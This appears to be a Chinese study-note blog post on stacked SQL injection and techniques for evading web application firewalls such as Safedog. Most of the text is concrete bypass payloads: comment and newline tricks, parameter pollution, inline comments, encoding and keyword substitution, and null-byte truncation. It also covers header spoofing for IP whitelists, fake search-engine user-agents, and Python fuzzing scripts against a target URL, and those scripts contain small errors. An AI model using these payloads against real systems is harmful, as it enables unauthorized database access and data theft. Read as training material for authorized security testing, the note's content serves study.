zoukankan      html  css  js  c++  java
  • 十八:SQL注入之堆叠及绕WAF

    堆叠查询注入 (双查询注入)

    stacked injections(堆叠注入)从名词的含义就可以看到是一堆的SQL语句一起执行,而在真实的运用中也是这样的,我们知道在mysql中,主要是命令行中,每一条语句加;表示语句结束。这样                              子我们就想到了可以不可以多句一起使用,这个叫做stacked injection
    只有mysql可以堆叠注入,重添加一个管理员账户  具体添加将新增加的用户加入管理员组
    
       **phpstudy + safedog安装找不到服务问题**
    

    市面上常见的waf产品列表 - wafw00f

      阿里云盾,安全狗,阿里云盾
      遇到WAF先手测,工具一扫就会封IP。
      测试绕过就是研究哪方面没有进行过滤
    
      提交方式绕过WAF,前提支持各种方式的接受  
    
      (等价函数,特殊函数):既需要绕过匹配规则,还要不干扰语句的运行结果。
    
      反序列化的格式进行绕过,注释符混用
    
      %0a换行  %23注释#   
    

    部分bypass sqlinject payload

    特殊符号,换行绕狗子
    id = 1 union %23a%0A select 1,2,3 #  
    			匹配到union然后注释,安全认为句子结束,  union a select 狗子不会拦截
    			union #a                         写#屏蔽a,换行让union select执行
    			select 1,2,3 #
    
    
          注释符混用,参数污染绕狗子
    			
    
    			参数污染只接受后面的,?id=1/**&id=-1 unio select 1,2,3 #*/              /***/ SQL里面的注释符
    				1/**&id=-1 unio select 1,2,3 #*/        狗子接收的
    				-1 unio select 1,2,3 #*/       执行的语句  (内联注释)
    				狗子匹配第一条,其中的注释符号起到注释作用,正常情况没法执行,安全狗直接忽略,
    				参数污染导致的真实数据是执行的语句,能够正常执行SQL语句
    			
    			
    fuzz模糊测试,类似爆破密码。某个点生成字典,不断测试。写好脚本和字典批量化进行测试
    		import request
    		import time
    		
    		
    		url = 'http://1.1.1.1/sqli-labs/less2/?id=1'
    		for sqlin in open('uniobselect.txt')
    			urls = url + sqlin
    			result = requests.get(urls).text
    			if (result.find('safedog')==-1):
    				print(sqlin)
    			time.sleep(-1)
    			
    			
    堆叠注入详解:https://www.cnblogs.com/backlion/p/9721687.html
    

    应用层

    	大小写/关键字替换
    	id=1 UnIoN/**/SeLeCT 1,user()
    	hex() bin() 等价于ascii
    	sleep()等价于benchmark()
    	Mid()substring() 等价于 substr()
    	@@user() 等价于User()
    	@@version等价于version()
    	各种编码:
    		大小写,URL,hex,%0A等
    	注释使用:
    		// --  --+ # /**/ + :%00 /!**/等
    	再次循环
    		union==uunionnion
    	等价替换:
    		user()=@@user() and=& or=| ascii=hex等
    	参数污染:
    		?id=1&id=2&id=3
    	编码及解码:
    		s->%73->%25%37%33
    	更改请求提交方式:
    		GET,POST,COOKIE
    		POST->multipart/from-data
    		
    	中间件参数污染
    

    数据库特性:

    1.mysql技巧

    		(1)mysql注释有三种,#,/*...*/,-- ... (--后加空格)
    		 (2)空格符:0x9a,0x0a-0x0d,0x20,0xa0
    		 (3)特殊符号 0a%换行符
    			可结合注释符使用 %23%0a,%2d%2d%0a
    		 (4)内联注释
    			/*! union12345select*/ 1,user()   //数字范围1000-50540
    		  (5)mysql黑语法
    			 select {x username} from {x11 test.admin};
    

    2.sqlsever

    		 (1)用来注释掉后查询的其余部分
    			/*   c语言风格注释
    			-- sql注释
    			;00%空字节
    		  (2)空白符:[0x01-0x20]
    		 (3)特殊符号:%3a  冒号
    			id = 1 union:select 1,2 from:admin
    		(4)函数变型:如db_name [空白字符]()
    

    3.oracle技巧

    		(1) 注释符:--,/**/
    		(2) 空白字符:[0x00,0x09,0x0a-0x0d,0x20]
    		
    		4.配合fuzz
    		select * from admin where id=1 [位置一] union [位置二] select [位置三] 1,2,db_name() [位置四] from [位置五] admin
    

    逻辑层

    			(1)云waf防护,一般我们会尝试查找真实站点的真实ip,从而绕过CDN防护
    			(2)当提交,GET,POST同时请求时,进入POST逻辑,而忽略了GET请求的有害参数输入,可尝试bypass,
    			(3)http和https同时开放服务,没有做http到https的强制跳转,导致https有waf防护,http没有防护,直接访问http站点绕过防护
    			(4)特殊符号%00,部分waf遇到%00截断,只能获取到前面的参数,无法获取到后面的有害输入,从而导致bypass
    				比如:id=1%00and 1=2 union select 1,2,column_name from imformation_schema.columns 
    

    白名单

    方式一:ip白名单

    			从网络层获取来的ip,是无法伪造的,如果获取客户端的ip,这样就可能存在伪造ip绕过的情况。
    			
    			测试方法:
    				修改http的header来bypass waf
    				x-forwarded-for
    				x-remote-ip
    				x-originating-ip
    				x-remote-addr
    				x-real-ip
    

    方式二:静态资源

    				特定的后缀资源静态请求,常见的静态文件,(.js  .jpg  .swf  .css 等),类似白名单机制,
    				waf为了检测效率,不去检测这样一些静态文件后缀的请求。
    

    方式三:url白名单

    				为了防止误拦截,部分waf内置默认的白名单列表,如admin/manager/system等管理后台。只要url中存在的白名单的字符,就作为白名单不检测。
    

    方式四:爬虫白名单

    				部分waf对爬虫结果会忽略,waf如果识别出了搜索引擎来爬虫,waf就会放行
    			
    					import json
    					import request
    					
    					url = 'http://1.1.1.1:8080'
    					head={
    						'user-agent':'mozilla/5.0(compatible;badiduspider-render/2.0;)'
    					}
    					for data in open("php.txt"):
    						data = data.replace('
    ','')
    						urls=url+data
    						code=requests.get(urls,headers=head).status_code
    						print(urls+'|'+str(code))
  • 相关阅读:
    Android 2.2 r1 API 中文文档系列(11) —— RadioButton
    Android API 中文 (15) —— GridView
    Android 中文 API (16) —— AnalogClock
    Android2.2 API 中文文档系列(7) —— ImageButton
    Android2.2 API 中文文档系列(6) —— ImageView
    Android 2.2 r1 API 中文文档系列(12) —— Button
    Android2.2 API 中文文档系列(8) —— QuickContactBadge
    [Android1.5]TextView跑马灯效果
    [Android1.5]ActivityManager: [1] Killed am start n
    Android API 中文(14) —— ViewStub
  • 原文地址:https://www.cnblogs.com/SnowSec/p/14288249.html
Copyright © 2011-2022 走看看